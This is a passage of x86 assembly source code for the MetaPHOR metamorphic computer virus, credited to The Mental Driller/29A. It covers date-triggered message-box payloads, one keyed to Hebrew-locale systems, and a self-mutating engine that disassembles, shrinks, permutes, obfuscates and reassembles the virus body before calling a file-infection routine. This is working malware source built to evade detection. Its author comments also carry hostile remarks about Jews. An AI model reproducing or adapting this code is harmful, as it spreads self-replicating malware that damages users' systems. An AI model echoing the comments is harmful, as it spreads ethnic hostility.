jz @@Payload_Month ; December
cmp eax, 6
jz @@Payload_Month
cmp eax, 9
jz @@Payload_Month
cmp eax, 0Ch
jnz @@CheckPayload2
@@Payload_Month:
mov eax, [edx+6]
and eax, 0FFh
cmp eax, 11h ; Day: 17
jnz @@CheckPayload2
push edx
call Random
and eax, 20202020h ;; All the phrase is:
add eax, 'ATEM' ;; "META"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ROHP' ;; "PHOR"
mov [edx], eax
add edx, 4
call Random
and eax, 00200000h
add eax, ' B1 ' ;; " v1 "
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'T YB' ;; "BY T"
mov [edx], eax
add edx, 4
call Random
and eax, 20002020h
add eax, 'M EH' ;; "HE M"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ATNE' ;; "ENTA"
mov [edx], eax
add edx, 4
call Random
and eax, 20200020h
add eax, 'RD L' ;; "L DR"
mov [edx], eax
add edx, 4
call Random
and eax, 20202020h
add eax, 'ELLI' ;; "ILLE"
mov [edx], eax
add edx, 4
call Random
and eax, 00000020h
add eax, '92/R' ;; "R/29"
mov [edx], eax
add edx, 4
call Random
and eax, 0FFFF0020h
add eax, 'A' ;; "A"
mov [edx], eax
pop edx
; "METAPHOR v1 BY THE MENTAL DRILLER/29A"
push eax ; with random upcases and lowcases.
push ecx
push edx ; APICALL_BEGIN
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
jmp @@EndPayload
; Not so-silly 2nd part of the payload.
; We get the system language and, if it's hebrew, we show a message box with
; the message "Free Palestine!", my little contribution against the illegal
; occupation performed by the jews and supported by EEUU. The message will
; show on 14 May, the day that the state of Israel was declarated.
; Notice that I'm not supporting organizations like Hamas or shit like that,
; but it's true that jews began the war stealing the Palestinian home to
; the Palestinian People. Anyway, killing people is not the solution
; (wherever the side of the conflict they are in).
@@CheckPayload2:
mov eax, [edx+2]
and eax, 0FFh
cmp eax, 5 ; May
jnz @@NoPayload
mov eax, [edx+6]
and eax, 0FFh
cmp eax, 0Eh ; 14th
jnz @@NoPayload
push eax
push ecx
push edx
call dword ptr [ebp+RVA_GetSystemDefaultLCID]
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax
mov eax, [ebp+ReturnValue]
and eax, 0FFFFh
cmp eax, 040Dh ; System language: hebrew?
jnz @@NoPayload
push edx
mov eax, 'eerF'
mov [edx], eax
add edx, 4
mov eax, 'laP '
mov [edx], eax
add edx, 4
mov eax, 'itse'
mov [edx], eax
add edx, 4
mov eax, '!en' ; Show our disconformity with jewish
mov [edx], eax ; invasion of Palestine and all their
pop edx ; fascist acting up to date (in a
; peaceful way)
push eax
push ecx
push edx
xor eax, eax
push eax
mov eax, edx
push eax
push eax
xor eax, eax
push eax
call dword ptr [ebp+RVA_MessageBoxA]
pop edx
pop ecx
pop eax
@@EndPayload:
@@NoPayload:
;; Now we are going to get random frames for variables, dissasembly, etc. for
;; the next generation usage. These variables must be passed "from the
;; outside" (as parameters from the loader/decryptor).
;;
;; Sizes of frames:
;; CODE_SECTION = 80000h
;; DISASM_SECTION = 100000h
;; LABEL_SECTION = 10000h +
;; VARIABLE_SECTION = 10000h +
;; BUFFER1_SECTION = 10000h +
;; BUFFER2_SECTION = 10000h +
;; VAR_MARKS_SECTION = 20000h =
;; BUFFERS_SECTION = 60000h
;; DATA_SECTION = 20000h
;; DISASM2_SECTION = 100000h
;; -----------
;; 300000h
;; We always reserve 3'4 Mb of virtual memory at least, so we can add a random
;; shifting up to 256 Kb (40000h bytes)
mov esi, [ebp+_DISASM_SECTION]
add esi, ebp
xor eax, eax ; Let's fabricate a random permutation of
push esi ; the sequence 0,1,2,3,4,5.
@@LoopGarbleSect_01:
mov ebx, eax
add eax, 1
mov ecx, eax
add eax, 1
mov edx, eax
add eax, 1
push eax
call Xp_GarbleRegisters ; Garble EBX, ECX and EDX
pop eax
mov [esi], ebx
mov [esi+4], ecx
mov [esi+8], edx ; Store the garbled sequence
add esi, 0Ch
cmp eax, 6
jnz @@LoopGarbleSect_01 ; Repeat it again (get 4,5,6)
pop esi
push esi
mov ecx, 2 ; Now garble the <0,1,2> with the <3,4,5>
@@LoopGarbleSect_02:
push ecx
mov ebx, [esi] ; Get value at position 0,2,4 and
mov ecx, [esi+08h] ; garble it
mov edx, [esi+10h]
call Xp_GarbleRegisters
mov [esi], ebx
mov [esi+08h], ecx
mov [esi+10h], edx ; Store the shuffling
pop ecx
add esi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopGarbleSect_02 ; Make it with positions 1,3,5
pop esi
mov ecx, 6
xor edx, edx ; Initialize adder
@@LoopGarbleSect_03:
call Random
and eax, 7FFFh ; *5 = 40000h ; Add a random shifting
add edx, eax
mov eax, [esi]
or eax, eax ; 0?
jz @@GarbleSect_CodeSection ; Then set CODE_SECTION address
cmp eax, 1 ; 1?
jz @@GarbleSect_DisasmSection ; Then, DISASM_SECTION
cmp eax, 2
jz @@GarbleSect_BuffersSection ; 2: BUFFERS_SECTION
cmp eax, 3
jz @@GarbleSect_DataSection ; 3: DATA_SECTION
cmp eax, 4
jnz @@GarbleSect_Next ; 4: DISASM2_SECTION
@@GarbleSect_Disasm2Section:
mov [ebp+New_DISASM2_SECTION], edx
add edx, 100000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_CodeSection:
mov [ebp+New_CODE_SECTION], edx
add edx, 80000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_DisasmSection:
mov [ebp+New_DISASM_SECTION], edx
add edx, 100000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_BuffersSection:
mov [ebp+New_BUFFERS_SECTION], edx
add edx, 60000h ; Add size of section to adder
jmp @@GarbleSect_Next
@@GarbleSect_DataSection:
mov [ebp+New_DATA_SECTION], edx
add edx, 20000h ; Add size of section to adder
@@GarbleSect_Next:
add esi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopGarbleSect_03
;; Now we can start with the selfmutation
;; Disassembler:
;;
;; It disassembles the code starting at ESI (entrypoint) to a pseudoassembler
;; that is easier to handle. This pseudoassembler will be used along the
;; mutation instead of the direct machine code.
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Set the address of
mov [ebp+InstructionTable], eax ; the instruction table
mov eax, [ebp+_LABEL_SECTION]
add eax, ebp ; Address of the label
mov [ebp+LabelTable], eax ; table
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Temporary table for the
mov [ebp+FutureLabelTable], eax ; storadge of labels
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Temporary buffer to mark
mov [ebp+PathMarksTable], eax ; the path of the code
mov esi, [ebp+_CODE_SECTION]
add esi, ebp ; ESI = Start of code
call DisasmCode ; Disassemble the code
nop ; NOP for debugging: Place for the debugger to put the
; INT 3. It will be eliminated by the disassembler,
; since all the one-byte instructions such CLC, INT 3,
; etc. are NOPed
; It returns EDI = Address of last instruction
mov [ebp+AddressOfLastInstruction], edi ; Set last instr.
;; Shrinker
;;
;; It compresses all the redundancies and obfuscations that the expander did
;; in previous generations.
call ShrinkCode ; Compress the code
;; Variable identificator:
;;
;; It scans the code to get instructions that use memory addresses and then
;; it converts them to a reference to a table of variables. After this, we
;; reselect the addresses of the variables.
mov eax, [ebp+_VARIABLE_SECTION]
add eax, ebp ; Set the address to the
mov [ebp+VariableTable], eax ; table of variables
mov eax, [ebp+_VAR_MARKS_SECTION]
add eax, ebp ; Set the buffer that marks
mov [ebp+VarMarksTable], eax ; the variables positions
; to know if a given address
; is already in the table
; or it's a free address
mov ecx, [ebp+DeltaRegister] ; The delta register is used
; to know what is an internal
; variable and what's not
call IdentifyVariables ; Identfy them and construct the
; table of variables
;; Code permutator
;;
;; It shuffles the code and insert jumps between to link the moved blocks,
;; updating also all the labels to point to the new location.
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Temporary buffer to construct
mov [ebp+FramesTable], eax ; the permutation frames
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Place where we store
mov [ebp+PermutationResult], eax ; the permutated code
mov eax, [ebp+_BUFFER2_SECTION]
add eax, ebp ; Buffer to store jumps to fix
mov [ebp+JumpsTable], eax ; while permutating
call PermutateCode
; Permutate the code (in pseudoassembler)
; Returns [AddressOfLastInstruction] updated to point to the
; last instruction + 10h in [PermutationResult] address
mov eax, [ebp+PermutationResult]
mov [ebp+InstructionTable], eax ; Set the new instr. table
;; Code expander
;;
;; It generates alternatives for every instruction coded in our pseudo-ASM.
;; It's generated in a way that we only have to code every instruction
;; directly to have a very different look of the previous program, but keeping
;; the functionality unchanged. It also translates all registers into new
;; ones (except ESP, of course).
xor eax, eax ; Tell the expander that
mov [ebp+CreatingADecryptor], eax ; we are mutating the
; virus body
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Set the destiny address of the
mov [ebp+ExpansionResult], eax ; expansion/obfuscation
xor eax, eax ; Set the recursivity
mov [ebp+SizeOfExpansion], eax ; to 3 (from 0 to 3)
call XpandCode ; Redo all instructions
; Returns [AddressOfLastInstruction] updated
;; Code assembler
;;
;; It assembles the code previously obfuscated and expanded by the expander
mov eax, [ebp+ExpansionResult]
mov [ebp+InstructionTable], eax ; _DISASM_SECTION
mov eax, [ebp+_DISASM2_SECTION]
add eax, ebp ; Set the address where
mov [ebp+NewAssembledCode], eax ; the reassembling result
; will be stored
mov eax, [ebp+_VARIABLE_SECTION]
add eax, ebp ; Use this address for
mov [ebp+NewLabelTable], eax ; temporary storadge
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Another buffer for
mov [ebp+JumpRelocationTable], eax ; temporary storadge
call AssembleCode ; Convert the code to x86
;; Here we have:
;; [NewAssembledCode] = _DISASM2_SECTION = New code
;; [SizeOfNewCode] = Size of new code (oh, no! really??? :)
;; [RoundedSizeOfNewCode] = Size of new code rounded to pages (4 Kb)
;; From now, every section is free except CODE_SECTION, DATA_SECTION and
;; DISASM2_SECTION.
;; Now let's make the action that gives this program the attribute of a
;; computer virus: INFECT
mov eax, [ebp+_DISASM_SECTION]
add eax, ebp ; Code the decryptor
mov [ebp+DecryptorPseudoCode], eax ; here in pseudo-asm
add eax, 80000h
mov [ebp+AssembledDecryptor], eax ; Assemble it here
mov eax, [ebp+_BUFFER2_SECTION]
add eax, ebp ; Temporary buffer for the
mov [ebp+FindFileData], eax ; FindFile functions
mov eax, [ebp+_BUFFER1_SECTION]
add eax, ebp ; Buffer for several
mov [ebp+OtherBuffers], eax ; actions
call InfectFiles ; Infect!
@@Error:
ret ; Return to the host and finish
Main endp
;; Function to get the address of the module passed in ASCII. It will convert
;; the string to UNICODE if the GetModuleHandle function is GetModuleHandleW.
APICall_GetModuleHandle proc
mov eax, [ebp+FlagAorW] ; Get A or W
or eax, eax ; A?
jz @@UseGMHA ; Then, use the string as is
mov ebx, edx
add ebx, 20h ; Go to the end of the string buffer (W)
mov ebx, edx
add ecx, 10h ; Go to the end of the string buffer (A)
@@LoopConvertToWideChar:
mov eax, [ecx] ; Get a letter
and eax, 0FFh ; Make it zero-extended (in words)
mov [ebx], eax ; Store it
sub ecx, 1 ; Decrease the ASCII address in 1
sub ebx, 2 ; Decrease the UNICODE address in 2
cmp ecx, edx ; Are we at the end of the buffer
jnz @@LoopConvertToWideChar ; If not, loop again
@@UseGMHA: push edx ; Store parameter
call dword ptr [ebp+RVA_GetModuleHandle] ; Call the API
mov [ebp+ReturnValue], eax ; Store the module handle
ret
APICall_GetModuleHandle endp
; EDI = Handle of module
; EDX = Buffer where we have the function name
GetFunction proc
push eax
push ecx
push edx ; APICALL_BEGIN
mov eax, edx ; We do this to avoid many continuous PUSHes
push eax ; Store function name and module handle
mov eax, edi
push eax
call dword ptr [ebp+RVA_GetProcAddress] ; Call API
mov [ebp+ReturnValue], eax
pop edx
pop ecx
pop eax ; APICALL_END
mov eax, [ebp+ReturnValue] ; Get the function address
ret
GetFunction endp
;; KEYWORD: Key_!Disassembler
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; *********************************************************************** ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; The disassembler
;; ----------------
;;
;; The disassembler is the module that converts the machine code into our
;; pseudo-assembler in the addresses we gave it.
;;
;; The codification of every instruction of the generated pseudo-assembler
;; is as follows (extracted from the article I wrote about metamorphism and
;; this engine):
;;
;; ---------------------------------------------------------------------------
;;
;; The MetaPHOR internal pseudo-assembler follows the next rules:
;;
;; a) All the instructions are 16-bytes long (but this can change in the
;; future to handle 64-bits processors, like the Itanium).
;;
;; b) The structure of the instruction is always the same for all them:
;;
;; General structure:
;;
;; 16 bytes per instruction,
;;
;; 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
;; OP *----- instruction data ----* LM *-pointer-*
;;
;; OP is the opcode of the instruction. Depending on the opcode we use
;; an instruction data structure or other.
;;
;; LM is "Label Mark". Its value is 1 when a label is pointing to this
;; instruction, and can be used for quite things, for example to know
;; if two instructions can be shrinked or not (they can't if the second
;; one has a label over it). It's at +0B in the instruction.
;;
;; The dword at +0C is a pointer that means "last code reference". On
;; disassembly this means the EIP where this instruction is pointing to
;; its original codification, but while we are advancing in the code
;; treatment we store here references to the last situation of the
;; instruction. This helps to make modifications to the table of labels,
;; to recode the displacement instructions (JMP, CALL, etc.) and more.
;;
;;
;; Now the structures that the engine uses in the instructions:
;;
;; Memory_address_struct:
;; +01: First index
;; +02: Second index, bits 7&6 are the multiplicator (00=*1,01=*2,
;; 10=*4,11=*8)
;; +03: DWORD addition to indexes
;;
;;
;;
;; Depending on the opcode (the operation to perform), the following
;; means:
;;
;; - If operation has no operand (NOP, RET, etc). nothing in the instr.
;; data is performed
;;
;; - If operation has one operand:
;;
;; Register operand:
;; +01: Register
;;
;; Memory address:
;; +01: Memory address struct
;;
;; Immediate value:
;; +07: DWORD value, zero extended if it's a byte operation
;;
;; Destiny address (JMP, CALL, etc.)
;; +01: Label to jump to (DWORD)
;;
;; - If operation has two operands:
;;
;; Reg,Imm:
;; +01: Register
;; +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;; Reg,Reg:
;; +01: Source register
;; +07: Destiny register
;;
;; Reg,Mem:
;; +01: Memory address struct
;; +07: Destiny register
;;
;; Mem,Reg:
;; +01: Memory address struct
;; +07: Source register
;;
;; Mem,Imm:
;; +01: Memory address struct
;; +07: DWORD immediate value, zero extended if it's a 8-bits op.
;;
;;
;; From this rules, now we use the next pseudo-opcodes:
;;
;; 00: ADD, 08: OR, 20: AND, 28: SUB, 30: XOR, 38: CMP, 40: MOV, 48: TEST
;;
;; Set rules: +00: Reg,Imm
;; +01: Reg,Reg
;; +02: Reg,Mem
;; +03: Mem,Reg
;; +04: Mem,Imm
;; +80: 8 bits operation
;;
;; So, opcode 83 means ADD Mem,Reg using 8-bits operands, and so on.
;;
;; 50: PUSH Reg
;; 51: PUSH Mem
;; 58: POP Reg
;; 59: POP Mem
;; 68: PUSH Imm
;; 70-7F: Conditional jumps
;; E0: NOT Reg
;; E1: NOT Mem
;; E2: NOT Reg8
;; E3: NOT Mem8
;; E4: NEG Reg
;; E5: NEG Mem
;; E6: NEG Reg8
;; E7: NEG Mem8
;; E8: CALL label
;; E9: JMP label
;; EA: CALL Mem (used for API calls)
;; EB: JMP Mem (used for obfuscation in API calls)
;; EC: CALL Reg (obfuscation of API calls)
;; ED: JMP Reg (idem)
;;
;; F0: SHIFT Reg,Imm
;; F1: SHIFT Mem,Imm
;; F2: SHIFT Reg8,Imm
;; F3: SHIFT Mem8,Imm
;; For all SHIFTs:
;; +07: Byte with the value of rotation/shifting
;; +08: Operation performed: 0: ROL, 8: ROR, 20: SHL, 28: SHR
;; F4: APICALL_BEGIN
;; Special operation meaning PUSH EAX/PUSH ECX/PUSH EDX that avoids
;; the recoding of these registers, always remaining the same.
;; F5: APICALL_END
;; The complementary of APICALL_BEGIN, it means POP EDX/POP ECX/POP EAX
;; F6: APICALL_STORE
;; +01: Memory address struct
;; This always means: MOV [Mem],EAX <-- Avoiding the recoding of EAX
;; F7: SET_WEIGHT
;; +01: Memory address struct
;; +07: Weight item identificator
;; +08: Register 1
;; +09: Register 2
;; F8: MOVZX
;; Memory address struct is a 8-bits operand, while +07 is a 32 bit reg.
;; FC: LEA
;; FE: RET
;; FF: NOP
;; ---------------------------------------------------------------------------
;;
;; The decodification, as you will see, it's not arbitrary, I mean, there
;; is a reason for every format of decodification in every instruction.
;; Although many times the format is in that way due to thinking on simplicity,
;; other times I changed the format to make code reduction easier.
;; ESI = Start of code to dissasemble
DisasmCode proc
xor eax, eax
mov [ebp+NumberOfLabels], eax ; Initialize the number of
mov [ebp+NumberOfLabelsPost], eax ; labels and the number
; of buffered labels
mov ecx, 80000h/4 ; Initialize the path marks
mov edi, [ebp+PathMarksTable]
xor eax, eax
@@LoopInitializePathTable:
mov [edi], eax ; Fill all the buffers with 0
add edi, 4
sub ecx, 1
or ecx, ecx
jnz @@LoopInitializePathTable
mov edi, [ebp+InstructionTable]
;; Let's disassemble the given code address (ESI) into the buffer where we
;;construct the whole code in pseudoassembler (EDI)
@@LoopTrace:
@@CheckCurrentLabel:
mov eax, esi ; Check if the current code is already
sub eax, [ebp+_CODE_SECTION] ; disassembled
sub eax, ebp
add eax, [ebp+PathMarksTable]
mov eax, [eax] ; If the mark in the path is != 0,
and eax, 0FFh ; then it's already disassembled.
cmp eax, 1
jnz @@CheckIfFutureLabelArrived
;; If it's already disassembled, it's because the current code is inside
;; a loop, or is referenced by a label that we disassembled before. So, we
;; find the referenced code and we insert a JMP to there, and after that we
;; get a new EIP from the list of "future labels".
mov edx, [ebp+InstructionTable] ; Get the first instruction
@@CheckCurrEIP_001:
mov eax, [edx+0Ch] ; Search the pointer at all the
cmp eax, esi ; disassembled instructions. When we
jz @@ItsTheCurrentEIP ; find it, we'll insert a JMP to that
add edx, 10h ; instruction.
jmp @@CheckCurrEIP_001
@@ItsTheCurrentEIP:
mov [edi+0Ch], esi ; Set the new pointer.
mov eax, [edi+0Bh] ; Get the label mark.
and eax, 0FFFFFF00h ; Clear it.
mov [edi+0Bh], eax
mov eax, 0E9h ; Set the JMP to the already
mov [edi], eax ; disassembled code
mov eax, esi
mov ebx, edx ; Insert the label
call InsertLabel
mov [edi+1], edx
add edi, 10h ; Increment the EIP
; Now get a new EIP to disassemble.
mov ecx, [ebp+NumberOfLabelsPost] ; Get the number of
or ecx, ecx ; labels. If it's 0, we haven't more branches
jz @@FinDeTraduccion ; to disassemble, so we finish and
; return.
mov ebx, [ebp+FutureLabelTable] ; Get the table address
@@LoopCheckOtherFutureLabel: ; Look for a not disassembled label
mov eax, [ebx]
cmp eax, esi
jz @@OtherFutureLabelFound
@@LoopSearchOtherFutureLabel:
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckOtherFutureLabel
; Now we have a new EIP in ESI
mov ecx, [ebp+NumberOfLabelsPost]
mov ebx, [ebp+FutureLabelTable]
@@LoopCheckOtherFutureLabel2:
mov eax, [ebx] ; Check the other labels at the table.
or eax, eax ; If we found one already disassembled,
jz @@LoopSearchOtherFutureLabel2 ; we eliminate it from the
sub eax, ebp ; list and insert the new label in the
sub eax, [ebp+_CODE_SECTION] ; table of definitive
add eax, [ebp+PathMarksTable] ; labels.
mov eax, [eax]
and eax, 0FFh
cmp eax, 1
jz @@ReleaseLabelsInThatAddress
@@LoopSearchOtherFutureLabel2:
add ebx, 8
sub ecx, 1
or ecx, ecx
jnz @@LoopCheckOtherFutureLabel2
jmp @@GetEIPFromFutureLabelList
@@ReleaseLabelsInThatAddress:
push ebx ; Release the label. This means store
push ecx ; the labels already disassembled in the
mov esi, [ebx] ; definitive label table, and all that.
call ReleaseFutureLabels ; It checks the current EIP in ESI.
pop ecx
pop ebx
jmp @@LoopSearchOtherFutureLabel2
@@OtherFutureLabelFound:
mov eax, [ebx+4] ; Set the label at the JUMP or
mov [eax+1], edx ; displacement instruction
xor eax, eax
mov [ebx], eax ; Eliminate the label from the future
jmp @@LoopSearchOtherFutureLabel ; label list
@@CheckIfFutureLabelArrived:
mov eax, [edi+0Bh] ; Clear the label mark...
and eax, 0FFFFFF00h
mov [edi+0Bh], eax
call ReleaseFutureLabels ; ...and release the temporary
; labels
@@SigueInstr:
mov [edi+0Ch], esi ; Set the current EIP at the pointer
mov ebx, esi ; field.
sub ebx, [ebp+_CODE_SECTION]
sub ebx, ebp
add ebx, [ebp+PathMarksTable]
mov eax, [ebx]
or eax, 1
mov [ebx], eax ; Mark address as already decoded
mov eax, [esi] ; Get the opcode
and eax, 0FFh
cmp eax, 3Fh ; OP Reg,Reg, Mem,Reg or Reg,Mem?
jbe @@GenericOpcode
cmp eax, 47h ; INC Reg?
jbe @@Op_INC
cmp eax, 4Fh ; DEC Reg?
jbe @@Op_DEC
cmp eax, 5Fh ; PUSH Reg/POP Reg?
jbe @@Op_PUSHPOP
cmp eax, 68h ; PUSH Imm?
jz @@Op_PUSHValue
cmp eax, 6Ah ; PUSH sign-extended Imm?
jz @@Op_PUSHSignedValue
cmp eax, 70h ; Short conditional jump?
jb @@SigueInstr_00
cmp eax, 7Fh
jbe @@Jcc
@@SigueInstr_00:
cmp eax, 80h ; Reg,Imm or Mem,Imm?
jb @@SigueInstr_01
cmp eax, 83h
jbe @@GenericOpcode2
@@SigueInstr_01:
cmp eax, 84h ; TEST
jz @@Gen_8b_MemReg
cmp eax, 85h ; TEST
jz @@Gen_32b_MemReg
; cmp eax, 86h ; XCHG
; jz @@Gen_8b_MemReg
; cmp eax, 87h ; XCHG
; jz @@Gen_32b_MemReg
cmp eax, 8Bh ; MOV?
jbe @@GenericOpcode
cmp eax, 8Dh ; LEA
jz @@LEA
cmp eax, 8Fh ; POP Mem?
jz @@POPMem
cmp eax, 90h ; NOP?
jz @@NOP
; cmp eax, 97h ; Disabled instructions
; jbe @@XCHGWithEAX
; cmp eax, 0A0h
; jz @@MOVALMem
; cmp eax, 0A1h
; jz @@MOVEAXMem
; cmp eax, 0A2h
; jz @@MOVMemAL
; cmp eax, 0A3h
; jz @@MOVMemEAX
cmp eax, 0A8h ; TEST AL,xx?
jz @@TESTALValue
cmp eax, 0A9h ; TEST EAX,xx?
jz @@TESTEAXValue
cmp eax, 0B0h ; MOV Reg8,xx?
jb @@SigueInstr_02
cmp eax, 0B7h
jbe @@MOVReg8Value
cmp eax, 0BFh ; MOV Reg,xxx?
jbe @@MOVRegValue
@@SigueInstr_02:
cmp eax, 0C0h ; SHIFT,1? (ROL,ROR,etc. with 8 bits)
jz @@BitShifting8
cmp eax, 0C1h ; SHIFT,1 with 32 bits?
jz @@BitShifting32
cmp eax, 0C3h ; RET?
jz @@RET
cmp eax, 0C6h ; MOV Mem8,Imm?
jz @@MOVMem8Value
cmp eax, 0C7h ; MOV Mem,Imm?
jz @@MOVMem32Value
cmp eax, 0D0h ; SHIFT,x with 8 bits?
jz @@BitShifting8
cmp eax, 0D1h ; SHIFT,x with 32 bits?
jz @@BitShifting32
;; In this gap there are obsolete instructions, copro ones and
;; other that we aren't going to use (for the moment), so decode
;; them it's not worthy.
cmp eax, 0E8h ; CALL?
jz @@CALL
cmp eax, 0E9h ; Long JMP?
jz @@JMP
cmp eax, 0EBh ; Short JMP?
jz @@JMP8
cmp eax, 0F5h ; CMC?
jz @@NOP
cmp eax, 0F6h ; NOT and NEG?
jz @@SomeNotVeryCommon8
cmp eax, 0F7h
jz @@SomeNotVeryCommon32
cmp eax, 0FDh ; One-byters that have not been decoded
jbe @@NOP ; are set as NOP
cmp eax, 0FEh ; INC/DEC Mem8?
jz @@INCDECMem8
cmp eax, 0FFh ; INC/DEC/PUSH Mem?
jz @@INCDECPUSHMem32
mov eax, 0FFh ; Set NOP if any instruction hasn't
@@SetOneByteInstruction: ; fit the conditions above
mov [edi], eax
add edi, 10h ; Increase the storadge EIP and the
inc esi ; disassembly EIP by 1
@@ContinueDissasembly:
jmp @@LoopTrace ; Treat next instruction
;;;; GENERIC OPCODE
; This kind of construction is very common among the opcodes. This is the way
; Intel codes the instructions that uses the Reg,Reg, Mem,Reg and Reg,Mem
; operands. The operations coded under this ones are ADD, OR, ADC, SBB, AND,
; SUB, XOR and CMP.
@@GenericOpcode:
and eax, 7 ; Get the register
cmp eax, 3 ; Check the type of instruction. If it's
jbe @@Gen_NormalOpcode ; Mem,Reg, Reg,Mem or Reg,Reg, jump.
cmp eax, 4 ; Check if it's an OP with AL
jz @@Gen_UsingAL
cmp eax, 5 ; Check if it's an OP with EAX
jz @@Gen_UsingEAX
mov eax, [esi] ; Check if the opcode is 0F, the opcode
and eax, 0FFh ; that is used for some extended operations
cmp eax, 0Fh
jz @@Opcode0F
jmp @@SetOneByteInstruction ; Set the instruction.
@@Gen_NormalOpcode:
or eax, eax ; Check Mem8,Reg8
jz @@Gen_8b_MemReg
cmp eax, 1 ; Check Mem,Reg
jz @@Gen_32b_MemReg
cmp eax, 2 ; Check Reg8,Mem8
jz @@Gen_8b_RegMem
@@Gen_32b_RegMem:
mov eax, [esi+1]
and eax, 0C0h
cmp eax, 0C0h ; Check Reg,Reg
jz @@Gen_32b_ReglReg
mov eax, [esi]
and eax, 0FFh
cmp eax, 8Bh ; Get the opcode
jnz @@Gen_32b_RegMem_0 ; If it isn't MOV, jump
mov eax, 40h+2 ; Set MOV Reg,Mem
jmp @@Gen_GenMem ; Jump to decode the instruction
@@Gen_32b_RegMem_0:
and eax, 38h ; Get the operation in pseudo-asm
add eax, 2 ; Set the "Reg,Mem" mode
@@Gen_GenMem:
mov edx, [edi] ; Get the data around the pseudoopcode
and edx, 0FFFFFF00h ; Set the opcode
and eax, 0FFh
add eax, edx
mov [edi], eax
mov eax, [esi+1] ; Get the data of the x86 opcode
and eax, 38h ; Get the register involved
shr eax, 3
mov [edi+7], eax ; Store it at +7 in the pseudo-instr.
mov edx, esi ; Set in EDX the offset of the memory
add edx, 1 ; construction
call DecodeMemoryConstruction ; Decode it
add esi, ebx ; Add the length of the memory field
add esi, 1 ; to ESI
jmp @@NextInstruction
@@Gen_32b_MemReg:
mov eax, [esi+1] ; Get the second opcode
and eax, 0C0h ; Check if it's Reg,Reg operation
cmp eax, 0C0h
jz @@Gen_32b_lRegReg ; If it is, jump to decode it
mov eax, [esi]
and eax, 0FFh ; Get the opcode
cmp eax, 85h ; Check if it's TEST
jnz @@Gen_32b_MemReg_0
mov eax, 48h+3 ; If it is, store a TEST opcode
jmp @@Gen_GenMem
@@Gen_32b_MemReg_0:
; cmp eax, 87h ; This is XCHG, but we aren't using
; jnz @@Gen_32b_MemReg_1 ; it, so it's disabled.
; mov eax, 48h+6
; jmp @@Gen_GenMem
@@Gen_32b_MemReg_1:
cmp eax, 89h ; Check if it's MOV Mem,Reg
jnz @@Gen_32b_MemReg_2
mov eax, 40h+3 ; Set MOV Mem,Reg if it is
jmp @@Gen_GenMem
@@Gen_32b_MemReg_2:
and eax, 38h ; Get the pseudoopcode
add eax, 3
jmp @@Gen_GenMem ; Jump to set it and decode the rest
@@Gen_32b_ReglReg:
call GenOp_SetRegReg ; Decode the Reg,Reg instruction
@@Gen_GenReglReg:
mov eax, [esi+1] ; Get the source register
and eax, 7
mov [edi+1], eax ; Set it on the disassembly
mov eax, [esi+1] ; Get the destiny register and set it
and eax, 38h
shr eax, 3
mov [edi+7], eax
add esi, 2
jmp @@NextInstruction
@@Gen_32b_lRegReg:
call GenOp_SetRegReg ; Decode the Reg,Reg instruction
@@Gen_GenlRegReg:
mov eax, [esi+1] ; Get the registers and store them in
and eax, 7 ; their appropiated fields
mov [edi+7], eax
mov eax, [esi+1]
and eax, 38h
shr eax, 3
mov [edi+1], eax
add esi, 2
jmp @@NextInstruction
@@Gen_8b_RegMem:
mov eax, [esi+1] ; Get the OP Reg,Mem
and eax, 0C0h
cmp eax, 0C0h ; Check first if it's OP Reg,Reg
jz @@Gen_8b_ReglReg ; If it is, jump
mov eax, [esi]
and eax, 0FFh
cmp eax, 8Ah ; MOV Reg8,Mem8?
jnz @@Gen_8b_RegMem_0
mov eax, 40h+82h ; Set MOV Reg8,Mem8
jmp @@Gen_GenMem ; Jump to decode the memory address
@@Gen_8b_RegMem_0:
and eax, 38h
add eax, 82h ; Get the operation and set it
jmp @@Gen_GenMem
@@Gen_8b_MemReg:
mov eax, [esi+1] ; Get the operation
and eax, 0C0h ; Check if it's OP Mem,Reg
cmp eax, 0C0h
jz @@Gen_8b_lRegReg ; If it is, jump
mov eax, [esi]
and eax, 0FFh ; Get the opcode
cmp eax, 84h ; If it's TEST...
jnz @@Gen_8b_MemReg_0
mov eax, 48h+83h ; ...set it
jmp @@Gen_GenMem
@@Gen_8b_MemReg_0:
; cmp eax, 86h ; This is XCHG 8 bits, but it's disabled
; jnz @@Gen_8b_MemReg_1 ; because we don't use this type of
; mov eax, 48h+86h ; instructions
; jmp @@Gen_GenMem
@@Gen_8b_MemReg_1:
cmp eax, 88h ; Check if it's MOV Mem,Reg
jnz @@Gen_8b_MemReg_2
mov eax, 40h+83h ; Set it if it's MOV Mem,Reg
jmp @@Gen_GenMem
@@Gen_8b_MemReg_2:
and eax, 38h ; Get the OP
add eax, 83h
jmp @@Gen_GenMem ; Set it and jump to decode the memory
; reference
@@Gen_8b_lRegReg:
call GenOp_SetRegReg ; Decode the OP Reg8,Reg8 opcode
